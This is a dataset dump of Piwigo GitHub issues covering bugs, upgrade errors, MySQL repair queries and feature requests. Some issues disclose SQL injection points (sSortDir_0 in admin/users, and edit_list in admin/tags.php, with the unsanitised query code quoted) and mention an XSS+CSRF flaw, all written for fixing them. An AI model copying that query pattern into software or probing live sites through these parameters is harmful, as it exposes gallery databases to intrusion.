issue_owner_repo
listlengths 2
2
| issue_body
stringlengths 0
261k
⌀ | issue_title
stringlengths 1
925
| issue_comments_url
stringlengths 56
81
| issue_comments_count
int64 0
2.5k
| issue_created_at
stringlengths 20
20
| issue_updated_at
stringlengths 20
20
| issue_html_url
stringlengths 37
62
| issue_github_id
int64 387k
2.46B
| issue_number
int64 1
127k
|
|---|---|---|---|---|---|---|---|---|---|
[
"Piwigo",
"Piwigo"
] |
By using field sSortDir_0, you can inject unexpected content to the database.
This security issue is not "critical" because it requires access to administration, but should be fixed anyway.
Reported by [Sahil Dhar](https://www.linkedin.com/in/sahildhar/)
|
SQL injection in admin/users
|
https://api.github.com/repos/Piwigo/Piwigo/issues/823/comments
| 0 |
2017-12-18T12:57:57Z
|
2018-02-24T16:10:33Z
|
https://github.com/Piwigo/Piwigo/issues/823
| 282,870,534 | 823 |
[
"Piwigo",
"Piwigo"
] |
Edit we did see your email and we are currently discussing privately of the issue. No need to publish that. Thank you for reporting
|
use xss+csrf attack on configuration pages
|
https://api.github.com/repos/Piwigo/Piwigo/issues/822/comments
| 2 |
2017-12-17T16:44:07Z
|
2017-12-18T14:15:58Z
|
https://github.com/Piwigo/Piwigo/issues/822
| 282,706,536 | 822 |
[
"Piwigo",
"Piwigo"
] |
Hi I have briefly looked the passwordhash.class.php and find out that we are still using md5 as password hash function.
It is possible to use more advanced hash(e.g.: sha2) for php7? As I think it is a rather important issue to avoid hash collision for UAC.
http://php.net/manual/en/function.hash.php
Thanks
Ken
|
introduce better hash function for php7+
|
https://api.github.com/repos/Piwigo/Piwigo/issues/821/comments
| 2 |
2017-12-17T06:50:15Z
|
2017-12-17T15:57:33Z
|
https://github.com/Piwigo/Piwigo/issues/821
| 282,674,461 | 821 |
[
"Piwigo",
"Piwigo"
] |
To make the "releasing process" faster (which means more releases in the end), we need to automate basic tests : install, add album, add photos... has many thing we can do from web API.
|
test script (install, add album, add photos...)
|
https://api.github.com/repos/Piwigo/Piwigo/issues/819/comments
| 0 |
2017-12-15T09:56:37Z
|
2024-07-01T13:18:12Z
|
https://github.com/Piwigo/Piwigo/issues/819
| 282,374,522 | 819 |
[
"Piwigo",
"Piwigo"
] |
I'm looking for a way to have images automatically sync to Piwigo when I upload them to my NAS. I can mount a directory from the NAS onto the box running Piwigo, but I still have to click Synchronize in the admin interface.
I'd like to trigger Synchronize via either a cronjob or inotify trigger, but I can't seem to find a way to do that. Perhaps `tools/piwigo_remote.pl` holds the key?
Thanks for any advice!
|
Is there a way to run FTP Synchronization from the CLI?
|
https://api.github.com/repos/Piwigo/Piwigo/issues/818/comments
| 2 |
2017-12-10T04:18:46Z
|
2018-04-09T15:36:03Z
|
https://github.com/Piwigo/Piwigo/issues/818
| 280,780,944 | 818 |
[
"Piwigo",
"Piwigo"
] |
How about using Travis CI?
https://docs.travis-ci.com/user/getting-started/
|
Add Travis CI
|
https://api.github.com/repos/Piwigo/Piwigo/issues/817/comments
| 3 |
2017-12-09T02:19:48Z
|
2018-07-14T02:51:17Z
|
https://github.com/Piwigo/Piwigo/issues/817
| 280,667,346 | 817 |
[
"Piwigo",
"Piwigo"
] |
The interface language is - different from what has been chosen during the installation (German) - always English (unless you fully deactivate English languages).
This is also the case when the language for the guest user is set to German.
|
[Bug] Default language is always incorrect (English) unless you deactivate English language modules
|
https://api.github.com/repos/Piwigo/Piwigo/issues/815/comments
| 4 |
2017-12-07T10:04:04Z
|
2017-12-09T22:35:08Z
|
https://github.com/Piwigo/Piwigo/issues/815
| 280,069,479 | 815 |
[
"Piwigo",
"Piwigo"
] |
I do not seee a possibility that (how exactly?) users can add a new album or add new fotos.
Please advice. If this is a bug in the software, please add this feature.
|
[Bug or Clarification Request] How can users add new albums and new fotos to albums?
|
https://api.github.com/repos/Piwigo/Piwigo/issues/814/comments
| 1 |
2017-12-07T08:55:11Z
|
2017-12-07T10:08:01Z
|
https://github.com/Piwigo/Piwigo/issues/814
| 280,048,915 | 814 |
[
"Piwigo",
"Piwigo"
] |
I'm getting the above error on lots of pages (e.g. https://photos.samwilson.id.au/picture/6834 ), after upgrading to 2.9.2:
**Warning: [mysql error 1054] Unknown column 'last_visit' in 'field list'**
```
UPDATE user_infos
SET last_visit = NOW(),
lastmodified = lastmodified
WHERE user_id = 1
in /var/www/photos.samwilson.id.au/include/dblayer/functions_mysqli.inc.php on line 845
```
My set up is as follows:
- Piwigo 2.9.2
- Operating system: Linux
- PHP: 7.0.22-0ubuntu0.16.04.1 (Show info) [2017-12-05 10:21:51]
- MySQL: 5.7.20-0ubuntu0.16.04.1 [2017-12-04 21:21:51]
- Graphics Library: External ImageMagick 6.8.9-9
- Plugins: OpenStreetMap.
|
Unknown column 'last_visit' in 'field list'
|
https://api.github.com/repos/Piwigo/Piwigo/issues/813/comments
| 3 |
2017-12-05T02:26:13Z
|
2019-02-11T13:34:00Z
|
https://github.com/Piwigo/Piwigo/issues/813
| 279,222,890 | 813 |
[
"Piwigo",
"Piwigo"
] |
```
Deprecated: Function create_function() is deprecated
in /gallery/include/functions.inc.php on line 2165
Deprecated: The each() function is deprecated.
This message will be suppressed on further calls
in /gallery/include/template.class.php on line 293
```
* piwigo 2.9.2
* debian 9
* php 7.2.0
|
[Piwigo 2.9.2 and PHP 7.2.0] Incompatible code in gallery/include/functions.inc.php and /include/template.class.php
|
https://api.github.com/repos/Piwigo/Piwigo/issues/812/comments
| 14 |
2017-12-04T20:33:18Z
|
2020-01-07T15:50:49Z
|
https://github.com/Piwigo/Piwigo/issues/812
| 279,139,238 | 812 |
[
"Piwigo",
"Piwigo"
] |
My use case is that I'm installing to a Galera cluster, which doesn't have replication support for MyISAM tables. In lieu of changing the storage engine across the board (I saw #539), an option to specify would be helpful.
|
Would like option to specify MySQL storage engine
|
https://api.github.com/repos/Piwigo/Piwigo/issues/811/comments
| 2 |
2017-12-04T14:12:45Z
|
2018-09-27T18:17:22Z
|
https://github.com/Piwigo/Piwigo/issues/811
| 279,009,501 | 811 |
[
"Piwigo",
"Piwigo"
] |
```
Warning: include_once(./plugins/AdminTools/include/events.inc.php): failed to open stream: No such file or directory in /var/www/html/Piwigo/plugins/AdminTools/main.inc.php on line 17
Warning: include_once(): Failed opening './plugins/AdminTools/include/events.inc.php' for inclusion (include_path='.:/usr/share/php') in /var/www/html/Piwigo/plugins/AdminTools/main.inc.php on line 17
Warning: include_once(./plugins/AdminTools/include/MultiView.class.php): failed to open stream: No such file or directory in /var/www/html/Piwigo/plugins/AdminTools/main.inc.php on line 18
Warning: include_once(): Failed opening './plugins/AdminTools/include/MultiView.class.php' for inclusion (include_path='.:/usr/share/php') in /var/www/html/Piwigo/plugins/AdminTools/main.inc.php on line 18
Fatal error: Uncaught Error: Class 'MultiView' not found in /var/www/html/Piwigo/plugins/AdminTools/main.inc.php:22 Stack trace: #0 /var/www/html/Piwigo/include/functions_plugins.inc.php(365): include_once() #1 /var/www/html/Piwigo/include/functions_plugins.inc.php(445): load_plugin(Array) #2 /var/www/html/Piwigo/include/common.inc.php(157): load_plugins() #3 /var/www/html/Piwigo/index.php(26): include_once('/var/www/html/P...') #4 {main} thrown in /var/www/html/Piwigo/plugins/AdminTools/main.inc.php on line 22
```
|
Piwigo crashed after mere activation of "AdminTools"
|
https://api.github.com/repos/Piwigo/Piwigo/issues/809/comments
| 0 |
2017-11-27T10:13:44Z
|
2017-11-27T10:14:02Z
|
https://github.com/Piwigo/Piwigo/issues/809
| 276,964,041 | 809 |
[
"Piwigo",
"Piwigo"
] |
I got this error after updating to piwigo version 1.9.2. I'm not entirely sure of the circumstances, but it looks like the array handling is at some point injecting or allowing a blank value to get into the sql generated. I've obfuscated the IP address and server hostname, but otherwise the stacktrace is as recorded by the server.
2017/11/16 20:42:50 [error] 25173#25173: *830 FastCGI sent in stderr: "PHP message: PHP Warning: [mysql error 1064] You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '220)
AND status = 'private'' at line 3
SELECT id
FROM piwigo_categories
WHERE id IN (,220)
AND status = 'private'
; in /var/www/html-content/piwigo/include/dblayer/functions_mysqli.inc.php on line 845
PHP message: PHP Fatal error: Uncaught Error: Call to a member function fetch_assoc() on boolean in /var/www/html-content/piwigo/include/dblayer/functions_mysqli.inc.php:906
Stack trace:
#0 /var/www/html-content/piwigo/admin/include/functions.php(2665): query2array('\nSELECT id\n FR...', NULL, 'id')
#1 /var/www/html-content/piwigo/admin/include/functions.php(1546): add_permission_on_category(Array, Array)
#2 /var/www/html-content/piwigo/include/ws_functions/pwg.categories.php(573): create_virtual_category('uploads-1291174...', 217, Array)
#3 /var/www/html-content/piwigo/include/ws_core.inc.php(608): ws_categories_add(Array, Object(PwgServer))
#4 /var/www/html-content/piwigo/include/ws_protocols/rest_handler.php(56): PwgServer->invoke('pwg.categories....', Array)
#5 /var/www/html-content/piwigo/include/ws_core.inc.php(296): PwgRestRequestHandler->handleRequest(Object(PwgServer))
#6 /var/www/html-content/piwigo/ws.php(94): PwgServer->run()
#7 {main}
thrown in /var/www/html-content/piwi" while reading response header from upstream, client: 99.999.999.999, server: example.server.com, request: "POST /piwigo/ws.php?format=json HTTP/1.1", upstream: "fastcgi://unix:/var/run/php/php7.0-fpm.sock:", host: "example.server.com"
2017/11/16 20:42:52 [error] 25173#25173: *833 FastCGI sent in stderr: "PHP message: PHP Warning: [mysql error 1064] You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '221)
AND status = 'private'' at line 3
|
pwg.categories.php
|
https://api.github.com/repos/Piwigo/Piwigo/issues/807/comments
| 0 |
2017-11-21T18:34:16Z
|
2017-11-21T18:34:16Z
|
https://github.com/Piwigo/Piwigo/issues/807
| 275,816,681 | 807 |
[
"Piwigo",
"Piwigo"
] |
error message:
SyntaxError: JSON.parse: unexpected character at line 1 column 1 of the JSON data piwigo
I am using Centos7
Server: Localhost via UNIX socket
Server type: MySQL
Server version: 5.6.26 - MySQL Community Server (GPL)
Protocol version: 10
User: root@localhost
Server charset: UTF-8 Unicode (utf8)
Apache
Database client version: libmysql - 5.6.26
PHP extension: mysqli Documentation
PHP version: 5.6.29
Thanks
|
Cant Create Album or Upload
|
https://api.github.com/repos/Piwigo/Piwigo/issues/806/comments
| 6 |
2017-11-21T05:19:50Z
|
2020-01-02T07:43:30Z
|
https://github.com/Piwigo/Piwigo/issues/806
| 275,588,644 | 806 |
[
"Piwigo",
"Piwigo"
] |
Hi, I've got a database over 6 years old and contains over 30.000 photos. However I had to purge the database of some very old default values like _lastmodified_ default _0000-00-00 00:00:00_. Could the software not fix this somehow?
|
Update database which is over 6 years old
|
https://api.github.com/repos/Piwigo/Piwigo/issues/805/comments
| 0 |
2017-11-20T12:37:56Z
|
2017-11-20T12:37:56Z
|
https://github.com/Piwigo/Piwigo/issues/805
| 275,341,482 | 805 |
[
"Piwigo",
"Piwigo"
] |
#SQL injection in version 2.9.2
--
in admin/tags.php
```
if (isset($_POST['edit_submit']))
{
$query = 'SELECT name FROM '.TAGS_TABLE.';';
$existing_names = array_from_query($query, 'name');
$current_name_of = array();
$query = '
SELECT id, name
FROM '.TAGS_TABLE.'
WHERE id IN ('.$_POST['edit_list'].')
;';
$result = pwg_query($query);
```
values of the edit_list parameters are not sanitized;
these are used to construct a SQL query and retrieve a list of registered users into the application.
so post the data
|
a SQL injection in version 2.9.2
|
https://api.github.com/repos/Piwigo/Piwigo/issues/804/comments
| 4 |
2017-11-20T06:00:15Z
|
2018-05-21T06:32:06Z
|
https://github.com/Piwigo/Piwigo/issues/804
| 275,245,468 | 804 |
[
"Piwigo",
"Piwigo"
] |
When you call pwg.categories.getImages for a category, all resources are returned with just a single category in their list of categories. This is regardless of how many they are linked to.
This is an issue if you then wish to unlink a resource(s) (e.g. image), because you do not know whether it will result in an orphan unless you first do a call to get the details of that/those image(s) pwg.images.getInfo. This is inefficient.
Given the api appears to return a list of categories, I'd expect it to do so. It seems pointless to just return the one that you requested the images list for using pwg.categories.getImages.
|
PIWIGO WS API - pwg.categories.getImages - categories field always contains just one category
|
https://api.github.com/repos/Piwigo/Piwigo/issues/802/comments
| 8 |
2017-11-15T18:14:20Z
|
2022-09-26T12:31:38Z
|
https://github.com/Piwigo/Piwigo/issues/802
| 274,254,506 | 802 |
[
"Piwigo",
"Piwigo"
] |
Having a alt text like IMG_1010.jpg isn't helpful, is it possible to have an option of turning file extensions in alt text off? Thanks
|
Alt text has file extension
|
https://api.github.com/repos/Piwigo/Piwigo/issues/800/comments
| 1 |
2017-11-10T17:48:25Z
|
2017-11-10T18:34:48Z
|
https://github.com/Piwigo/Piwigo/issues/800
| 273,010,403 | 800 |
[
"Piwigo",
"Piwigo"
] |
I am new Piwigo, If there is already an API for sending picture to specific user and creating new user programmatically, We are trying to port pictures and creates to Piwigo system. Please advise me . Thanks
|
Programmatically Insert Photo in Gallerries
|
https://api.github.com/repos/Piwigo/Piwigo/issues/799/comments
| 6 |
2017-10-30T08:19:59Z
|
2017-10-30T16:38:19Z
|
https://github.com/Piwigo/Piwigo/issues/799
| 269,514,149 | 799 |
[
"Piwigo",
"Piwigo"
] |
Regarding what flop25 said http://piwigo.org/forum/viewtopic.php?pid=168920#p168920, I want to detail that Menalto Gallery2 also used smarty with tpl had some kind of template overwriting protection.
You can make a subfolder called "local" in the folder where templates are, and you could put a copy of the template you want to modify, then modify it. If "local" subfolder was detected they loaded tpl from it instead the original one.
In this way a user that make a modification to a template didn't lose his modification when making software updates.
I don't know how Piwigo extensions are loading templates, but if the extensions use a piwigo core function to load templates maybe is possible to implement this future also in Piwigo.
|
Templates overwriting protection (future request)
|
https://api.github.com/repos/Piwigo/Piwigo/issues/798/comments
| 1 |
2017-10-19T09:45:26Z
|
2017-10-19T11:29:15Z
|
https://github.com/Piwigo/Piwigo/issues/798
| 266,782,165 | 798 |
[
"Piwigo",
"Piwigo"
] |
With `$conf['original_url_protection']="images" (or "all");` the Piwigo API `pwg.images.getInfo` returns in `element_url` the URL `…action.php?id=6&part=e` instead of `…action.php?id=6&part=e`.
I add a patch replacing `&` with `&` in the iOS but could this be fixed?
PS: Tested with Piwigo v2.9.2
|
API pwg.images.getInfo returns incorrect URLs with $conf['original_url_protection']
|
https://api.github.com/repos/Piwigo/Piwigo/issues/796/comments
| 0 |
2017-10-14T16:55:26Z
|
2017-10-14T16:55:26Z
|
https://github.com/Piwigo/Piwigo/issues/796
| 265,506,302 | 796 |
[
"Piwigo",
"Piwigo"
] |
I would **really** like the ability to have "name" as album url. (Without the ID).
For example:
/john-smith
not
/41-john_smith
Currently I am having to go through every single album and create permalinks... it's a lot of work.. and it takes a long time for the permalinks page to load the list of permalinks to edit (there are hundreds).
The relevent conf section is:
`// category_url_style : one of 'id' (default) or 'id-name'. 'id-name'
// means that an simplified ascii represntation of the category name will
// appear in the url
$conf['category_url_style'] = 'id-name';`
It can be done for tags and pictures, but not albums.
Appreciated.
|
Ability to have album name as URL (without id)
|
https://api.github.com/repos/Piwigo/Piwigo/issues/795/comments
| 4 |
2017-10-14T04:24:46Z
|
2018-03-01T05:58:45Z
|
https://github.com/Piwigo/Piwigo/issues/795
| 265,463,328 | 795 |
[
"Piwigo",
"Piwigo"
] |
When i remove "?" on url it shows something like
> Warning: script_basename "categories" unknown in /home/sys/var/www/piwigo_master_29/include/section_init.inc.php on line 163
|
script_basename
|
https://api.github.com/repos/Piwigo/Piwigo/issues/794/comments
| 3 |
2017-10-11T07:40:35Z
|
2017-10-15T12:42:59Z
|
https://github.com/Piwigo/Piwigo/issues/794
| 264,485,890 | 794 |
[
"Piwigo",
"Piwigo"
] |
hi guys,
I got problems after upgrading to 2.9.2 version :
"piwigo-videojs" and "header_manager" Plugins doesn't work anymore and return "version 0" while displaying info, it looks stange.
I try to reinstall but no change.
"piwigo-videojs" plugin doesn't see my mp4 files (i can see my mp4 files in galleries, no change since upgrade) even after synchronisation.
"header_manager" plugin returns error message when i try to activate :
Fatal error: Class 'header_manager_maintain' not found in /media/Nextwab4/www/usr_tah6693280beb09b/public_html/websites/famille-tahon.fr/piwigo/admin/include/plugins.class.php on line 96
any help would be appreciated.
|
Errors after upgrade to 2.9.2
|
https://api.github.com/repos/Piwigo/Piwigo/issues/793/comments
| 3 |
2017-10-10T20:50:11Z
|
2023-12-22T17:45:04Z
|
https://github.com/Piwigo/Piwigo/issues/793
| 264,371,524 | 793 |
[
"Piwigo",
"Piwigo"
] |
2.9.2 upgrade expects o+w perms which are not normal.
was able to complete upgrade by changing perms then disallowing o+w
|
2.9.2 upgrade fails
|
https://api.github.com/repos/Piwigo/Piwigo/issues/792/comments
| 18 |
2017-10-08T13:41:38Z
|
2023-07-07T14:02:49Z
|
https://github.com/Piwigo/Piwigo/issues/792
| 263,718,721 | 792 |
[
"Piwigo",
"Piwigo"
] |
Hi there,
Thank you for your great work on Piwigo.
I got this error accessing profile.php:
Deprecated: Function mcrypt_get_iv_size() is deprecated in /home/.../public_html/piwigo/plugins/Subscribe_to_Comments/include/functions.inc.php on line 579
Deprecated: Function mcrypt_create_iv() is deprecated in /home/.../public_html/piwigo/plugins/Subscribe_to_Comments/include/functions.inc.php on line 580
Deprecated: Function mcrypt_encrypt() is deprecated in /home/.../public_html/piwigo/plugins/Subscribe_to_Comments/include/functions.inc.php on line 581
Warning: Cannot modify header information - headers already sent by (output started at /home/.../public_html/piwigo/plugins/Subscribe_to_Comments/include/functions.inc.php:579) in /home/.../public_html/piwigo/include/page_header.php on line 101
|
Error with PHP7.
|
https://api.github.com/repos/Piwigo/Piwigo/issues/791/comments
| 1 |
2017-10-06T09:29:05Z
|
2017-10-06T11:50:25Z
|
https://github.com/Piwigo/Piwigo/issues/791
| 263,386,107 | 791 |
[
"Piwigo",
"Piwigo"
] |
When displaying identification.php with a $_GET['redirect'], you automatically get an error message (unless you have $conf['guest_access']=false, see #507 )
With the very useful [login-link] provided by plugin Extended Description you always have a "redirect" (to come back on the same page) which produces an unexpected error message on identification.php.
We need a way to get rid of this error message.
|
ability to avoid error message on log in page
|
https://api.github.com/repos/Piwigo/Piwigo/issues/789/comments
| 0 |
2017-10-04T08:17:56Z
|
2017-12-14T12:48:49Z
|
https://github.com/Piwigo/Piwigo/issues/789
| 262,702,561 | 789 |
[
"Piwigo",
"Piwigo"
] |
password.php?action=foobar
Notice: Undefined index: action in password.php on line 337
Notice: Undefined index: action in password.php on line 342
Notice: Undefined index: action in password.php on line 352
Notice: Undefined index: action in password.php on line 369
|
unexpected "action" for password.php displays errors
|
https://api.github.com/repos/Piwigo/Piwigo/issues/787/comments
| 1 |
2017-09-28T13:02:24Z
|
2017-12-14T12:49:23Z
|
https://github.com/Piwigo/Piwigo/issues/787
| 261,310,269 | 787 |
[
"Piwigo",
"Piwigo"
] |
New feature: add an option to use time based One-Time-Password for login.
This might replace the standard login with username and password (for convenience) or optionally be added to the password login for reinforced security. The user can easily log in with the OTP app of his/her choice e.g freeOTP or Google Authenticator. The administrator should be able to produce the QR-code with the shared secret and easily distribute it to the user.
There are a lot of code examples with free licenses around, if you want some inspiration.
|
Option to use One-Time-Password OTP for login
|
https://api.github.com/repos/Piwigo/Piwigo/issues/783/comments
| 5 |
2017-09-26T16:57:05Z
|
2021-04-06T14:09:58Z
|
https://github.com/Piwigo/Piwigo/issues/783
| 260,697,179 | 783 |
[
"Piwigo",
"Piwigo"
] |
Hi,
is it piwigo able to custome menu based on role?
|
Admin menu based on role
|
https://api.github.com/repos/Piwigo/Piwigo/issues/782/comments
| 1 |
2017-09-25T04:22:15Z
|
2017-10-11T07:54:50Z
|
https://github.com/Piwigo/Piwigo/issues/782
| 260,151,096 | 782 |
[
"Piwigo",
"Piwigo"
] |
Hi,
I'm trying to migrate from DAlbum to Piwigo and am currently having this issue with v2.9.1 on 3 different directories. After about 18 photos uploaded, I get this error:
malformed JSON string, neither array, object, number, string or atom, at character offset 0 (before "
\nWarning</...") at /home/jsv/piwigo_import_tree.pl line 366.
I was able to upload a few hundred already but still have about 25,000 photos to move over. This program would be great if I can work through the issues.
I'm running Piwigo 2.9.1 on CentOS 7.4 with the stock Apache 2.4.6 and I'm using v1.0 of piwigo_import_tree.pl.
P.S. The --parent_album_id option doesn't seem to be working either.
Please let me know what information I can provide.
Thanks,
-Jeff
|
malformed JSON string with piwigo_import_tree.pl
|
https://api.github.com/repos/Piwigo/Piwigo/issues/781/comments
| 2 |
2017-09-25T02:58:44Z
|
2018-05-29T05:09:10Z
|
https://github.com/Piwigo/Piwigo/issues/781
| 260,142,094 | 781 |
[
"Piwigo",
"Piwigo"
] |
I have been trying to use the [s3fs](https://github.com/s3fs-fuse/s3fs-fuse) project as way to enable large amounts of storage (for videos) on my Piwigo setup. For those unfamiliar, Amazon S3 is a large scale object store and the s3fs project enables it to be mounted like it is a directory on your local filesystem.
When I use the s3fs folder as the destination behind `upload/`, I get an error that piwigo is unable to create the desired directory needed. Normally this is a permission issue, however even `chmod 777` and chown'ing to different users (root,www-data), I have not been able to get past the following error:
`error during buffer directory creation`
Which appears to be thrown either [here](https://git.io/vdT6e) or [here](https://git.io/vdT6k). I can create that directory, I can create the upload path (`2017/09/...`), and I can manipulate files/folders as the user, but it appears piwigo is failing within the `mkgetdir` method.
Has anyone had success with this?
My s3fs command to mount the folder is:
```
s3fs <s3 bucket> /<bucket mount path> -o passwd_file=<password path> -o use_cache=/tmp/ -o allow_other,uid=0,gid=0
```
I will note that I am using a piwigo docker setup running under root, however even installing piwigo natively it appears to have the same issues.
|
Support for FUSE filesystem?
|
https://api.github.com/repos/Piwigo/Piwigo/issues/780/comments
| 2 |
2017-09-24T22:51:09Z
|
2020-04-11T02:55:00Z
|
https://github.com/Piwigo/Piwigo/issues/780
| 260,122,267 | 780 |
[
"Piwigo",
"Piwigo"
] |
A user of mine triggered the error below while sending a notification. I can't reproduce it, though.
192.168.x.x:49924] AH01071: Got error 'PHP message: PHP Notice: Undefined variable: img in .../album_notification.php on line 92\nPHP message: PHP Stack trace:\nPHP message: PHP 1. {main}() .../admin.php:0\nPHP message: PHP 2. include() .../admin.php:309\nPHP message: PHP 3. include() .../album.php:88\n', referer: .../admin.php?page=album-43-notification
|
PHP Error Undefined variable: img in .../album_notification.php
|
https://api.github.com/repos/Piwigo/Piwigo/issues/779/comments
| 2 |
2017-09-22T09:51:37Z
|
2017-10-05T13:50:36Z
|
https://github.com/Piwigo/Piwigo/issues/779
| 259,762,217 | 779 |
[
"Piwigo",
"Piwigo"
] |
I am working on a project and would really like to be able to retrieve images that are not tagged/keyworded (like in the batch manager) via the API. I'm willing to do the work and make a pull request, but I wanted to establish the most favorable way of accomplishing this.
I'm inclined to think the most logical way to request this info would be to use the `pwg.tags.getImages` method and provide `null` for the `tag_id` parameter - which is not currently supported.
@plegall would you have any input on this? Thanks!
|
Retrieve untagged images via the API
|
https://api.github.com/repos/Piwigo/Piwigo/issues/778/comments
| 1 |
2017-09-20T20:28:50Z
|
2017-10-21T23:52:20Z
|
https://github.com/Piwigo/Piwigo/issues/778
| 259,291,680 | 778 |
[
"Piwigo",
"Piwigo"
] |
In order to build a paginator in a client using the API of piwigo, the total count of images is required.
Here:
https://github.com/Piwigo/Piwigo/blob/c4af38fe48f4d8f0853144fd8d13bc501e27d7ef/include/ws_functions/pwg.categories.php#L160
We are getting the count of the search result, and this information is redundant because a client can count the results in the response. Ex `count($result['images'])`
Is it possible to include a `total_count` field, or change the behavior of the actual `count`?
|
WS categories getImages, TotalCount
|
https://api.github.com/repos/Piwigo/Piwigo/issues/777/comments
| 3 |
2017-09-19T13:21:47Z
|
2018-03-21T09:50:46Z
|
https://github.com/Piwigo/Piwigo/issues/777
| 258,818,317 | 777 |
[
"Piwigo",
"Piwigo"
] |
With PHP 7 (in case it's related...), when opening index.php and seems to detect a new version is available, I get this error.
```
Fatal error: Uncaught Error: Class 'DOMDocument' not found in include/emogrifier.class.php:406
Stack trace:
#0 include/emogrifier.class.php(233): Emogrifier->createXmlDocument()
#1 include/functions_mail.inc.php(963): Emogrifier->emogrify()
#2 include/functions_mail.inc.php(861): move_css_to_body('<!DOCTYPE html ...')
#3 include/functions_mail.inc.php(473): pwg_mail(Array, Array, Array)
#4 admin/include/updates.class.php(223): pwg_mail_admins(Array, Array, false, true)
#5 include/page_tail.php(63): updates->notify_piwigo_new_versions()
#6 index.php(375): include('/var/www/html/p...')
#7 {main} thrown in include/emogrifier.class.php on line 406
```
|
Uncaught Error: Class 'DOMDocument' not found
|
https://api.github.com/repos/Piwigo/Piwigo/issues/775/comments
| 4 |
2017-09-18T14:54:27Z
|
2018-02-13T09:23:38Z
|
https://github.com/Piwigo/Piwigo/issues/775
| 258,509,763 | 775 |
[
"Piwigo",
"Piwigo"
] |
upgraded from an older version of piwigo after upgrading my system. had to fix the piwigo database to finish the upgrade.
Piwigo 2.9.1
Operating system: Linux
PHP: 7.0.22-0ubuntu0.16.04.1 (Show info) [2017-09-16 10:08:43]
MySQL: 5.7.19-0ubuntu0.16.04.1 [2017-09-16 10:08:43]
i can see the create database script contains the updated default date syntax but upgrade scripts do not address columns with the null date issue. basic approach was to write queries to identify tables and columns that are having this migration issue. then apply those results.
create alter for datetime and date columns where the column default is like 0000-00-00 00:00:00 or 0000-00-00
```
SELECT CONCAT('ALTER TABLE ', TABLE_NAME, ' ALTER COLUMN ', COLUMN_NAME, ' SET DEFAULT ''1970-01-01 00:00:00'';') AS datetime_alter FROM INFORMATION_SCHEMA.COLUMNS WHERE DATA_TYPE = 'datetime' and COLUMN_DEFAULT='0000-00-00 00:00:00' and TABLE_NAME like 'piwigo_%';
```
here are the alter statements produced. two separate ones for datetime and date.
```
ALTER TABLE piwigo_comments ALTER COLUMN date SET DEFAULT '1970-01-01 00:00:00';
ALTER TABLE piwigo_images ALTER COLUMN date_available SET DEFAULT '1970-01-01 00:00:00';
ALTER TABLE piwigo_old_permalinks ALTER COLUMN date_deleted SET DEFAULT '1970-01-01 00:00:00';
ALTER TABLE piwigo_sessions ALTER COLUMN expiration SET DEFAULT '1970-01-01 00:00:00';
ALTER TABLE piwigo_upgrade ALTER COLUMN applied SET DEFAULT '1970-01-01 00:00:00';
ALTER TABLE piwigo_user_infos ALTER COLUMN registration_date SET DEFAULT '1970-01-01 00:00:00';
SELECT CONCAT('ALTER TABLE ', TABLE_NAME, ' ALTER COLUMN ', COLUMN_NAME, ' SET DEFAULT ''1970-01-01'';') AS date_alter FROM INFORMATION_SCHEMA.COLUMNS WHERE DATA_TYPE = 'date' and COLUMN_DEFAULT='0000-00-00' and TABLE_NAME like 'piwigo_%';
ALTER TABLE piwigo_history ALTER COLUMN date SET DEFAULT '1970-01-01';
ALTER TABLE piwigo_rate ALTER COLUMN date SET DEFAULT '1970-01-01';
```
getting this error during a maintenance pass after fixing these tables. tried it out in console with same result.
```
mysql> ALTER TABLE piwigo_images ORDER BY id;
ERROR 1292 (22007): Incorrect datetime value: '0000-00-00 00:00:00' for column 'date_creation' at row 1056
```
for piwigo tables where there are values like 0000-00-00 00:00:00 update to null. so if column is nullable and date/datetime then value cannot be 0000-00-00 00:00:00
```
select date_creation from piwigo_images where date_creation = '0000-00-00 00:00:00';
update piwigo_images set date_creation = NULL where CAST(date_creation AS CHAR(20)) = '0000-00-00 00:00:00';
```
trying to identify other piwigo tables that have these zero date default values. didn't find anything to fix here.
```
SELECT TABLE_NAME, COLUMN_NAME, DATA_TYPE, IS_NULLABLE, COLUMN_DEFAULT FROM INFORMATION_SCHEMA.COLUMNS WHERE DATA_TYPE IN ('datetime', 'date') and IS_NULLABLE = 'yes' and TABLE_NAME like 'piwigo_%
SELECT CONCAT('SELECT ', COLUMN_NAME, ' FROM ', TABLE_NAME, ' WHERE ', COLUMN_NAME, ' IN (''0000-00-00 00:00:00'',''0000-00-00'');') AS stuff FROM INFORMATION_SCHEMA.COLUMNS WHERE DATA_TYPE IN ('datetime', 'date') and IS_NULLABLE = 'yes' and TABLE_NAME like 'piwigo_%';`
```
and the result selects.
```
SELECT validation_date FROM piwigo_comments WHERE validation_date IN ('0000-00-00 00:00:00','0000-00-00');
SELECT date_creation FROM piwigo_images WHERE date_creation IN ('0000-00-00 00:00:00','0000-00-00');
SELECT date_metadata_update FROM piwigo_images WHERE date_metadata_update IN ('0000-00-00 00:00:00','0000-00-00');
SELECT last_hit FROM piwigo_old_permalinks WHERE last_hit IN ('0000-00-00 00:00:00','0000-00-00');
SELECT last_seen FROM piwigo_search WHERE last_seen IN ('0000-00-00 00:00:00','0000-00-00');
SELECT last_photo_date FROM piwigo_user_cache WHERE last_photo_date IN ('0000-00-00 00:00:00','0000-00-00');
SELECT date_last FROM piwigo_user_cache_categories WHERE date_last IN ('0000-00-00 00:00:00','0000-00-00');
SELECT max_date_last FROM piwigo_user_cache_categories WHERE max_date_last IN ('0000-00-00 00:00:00','0000-00-00');
SELECT last_check FROM piwigo_user_feed WHERE last_check IN ('0000-00-00 00:00:00','0000-00-00');
SELECT activation_key_expire FROM piwigo_user_infos WHERE activation_key_expire IN ('0000-00-00 00:00:00','0000-00-00');
SELECT last_visit FROM piwigo_user_infos WHERE last_visit IN ('0000-00-00 00:00:00','0000-00-00');
SELECT last_send FROM piwigo_user_mail_notification WHERE last_send IN ('0000-00-00 00:00:00','0000-00-00');
```
|
upgrade mysql to 5.7 database errors
|
https://api.github.com/repos/Piwigo/Piwigo/issues/773/comments
| 0 |
2017-09-16T17:37:55Z
|
2017-09-16T17:37:55Z
|
https://github.com/Piwigo/Piwigo/issues/773
| 258,246,668 | 773 |
[
"Piwigo",
"Piwigo"
] |
Hello,
first of all, many thanks for the photosphere plugin. I face to the following problem: some of my photosphere pictures are not shown; only a black area is visible. I use always same softwares and methods to create my pictures.
